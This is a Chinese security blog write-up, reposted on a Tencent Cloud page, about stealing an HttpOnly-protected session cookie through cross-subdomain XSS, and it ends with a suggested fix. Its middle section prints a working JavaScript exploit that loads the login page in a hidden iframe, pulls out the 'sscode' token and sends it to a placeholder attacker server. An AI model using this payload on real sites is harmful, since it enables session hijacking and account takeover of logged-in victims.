首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >通过XSS跨子域拿到受HttpOnly保护的Cookie

通过XSS跨子域拿到受HttpOnly保护的Cookie

作者头像
潇湘信安
发布2021-07-01 11:30:36
发布2021-07-01 11:30:36
2.3K0
举报
文章被收录于专栏:潇湘信安潇湘信安

声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

0x01 介绍

跨子域:

因为浏览器同源策略的关系,只有同协议、域名、端口的页面才能进行交互,否则会被浏览器拒绝。现有两个页面,分别为111.example.comexample.com,两个页面是不同的域名,不能进行交互,但是可以在111.example.com使用以下代码设置同域,这样即可实现一个跨子域的交互。

代码语言:javascript
复制
document.domain="example.com"

HttpOnly:

简单来说就是给Cookie增加一层保护,document.cookie不会返回设置了HttpOnly的Cookie。

0x02 漏洞细节

首先通过F12查看得知关键的Cookie sscode设置了HttpOnly。

那么这个sscode肯定是登录之后服务器下发给客户端的,那么走一遍登录流程看看有没有缺陷。

输入账号密码点击登录

通过Set-Cookie给客户端下发sscode

跳转到登录成功的页面

注意到在此之后又发送了一个数据包,其中带了sscode(此图是修复后的,sscode经过加密了)

那这个请求是从哪儿发出来的呢?注意到请求头中的Referer。

代码语言:javascript
复制
Referer: http://www.exmaple.com/user/login_success.php?username=&next=%2F

来自登录成功页面,没有X-Requested-With头,那么应该就是通过某个html标签的src属性值发出来的请求,前往登录成功的页面进行确认。

搜索sscode定位此script标签,可看到确实是通过src属性值发出来的请求。

那么可以通过同域的Xss漏洞来获取登录页面的响应内容,再提取出其中的sscode。

登录页面是如下链接

代码语言:javascript
复制
http://www.exmaple.com/user/login_success.php

一开始看域名为www.example.com,想着找一个www.example.com的Xss就可以了,但是找了一圈没找到。后面用document.domain查看登录成功页面所属于的域为example.com,那就意味着可以通过任意一个子域的Xss来跨子域获取受HttpOnly保护的sscode。

通过搜索语法site:example.com找到一处Xss,编写exp如下。

代码语言:javascript
复制
document.domain = 'example.com'; //设置同域
var iframe = document.createElement("iframe");
iframe.src = "http://www.example.com/user/login_success.php";
iframe.style="width:0%;height:0%;"; //设置不可见 隐蔽性高
document.body.appendChild(iframe);
iframe.onload = function(){
  var content = iframe.contentDocument || iframe.contentWindow.document; //获取iframe页面的内容
  var scr = content.getElementsByTagName('script'); //拿到所有script标签
  var str = scr[3].src; //带sscode的script标签
  var re = /%22sscode%22%3A%22(.+)%22%2C%22cookie_expire/; //正则表达式
  //alert(str.match(re)[1]); 
  var sscode = str.match(re)[1]; //拿到sscode
  var image = new Image();
  image.src = 'http://your_vps/' + '?sscode=' + sscode; //将sscode传输出来
}

最后通过Xss加载写好的恶意Js文件,发送链接给受害者,只要其是登录的状态,打开了链接sscode就会被盗取。

0x03 修复方案

这个漏洞根本的原因就在于把sscode给泄露到登录成功的页面中了,最好的修复方案当然就是不要泄露在页面当中,厂商因业务需求,不能不放到页面中,修复方案为对其进行加密。

文章来源:CSDN博客,原文地址:

https://blog.csdn.net/qq_32727277/article/details/102717231

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-06-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档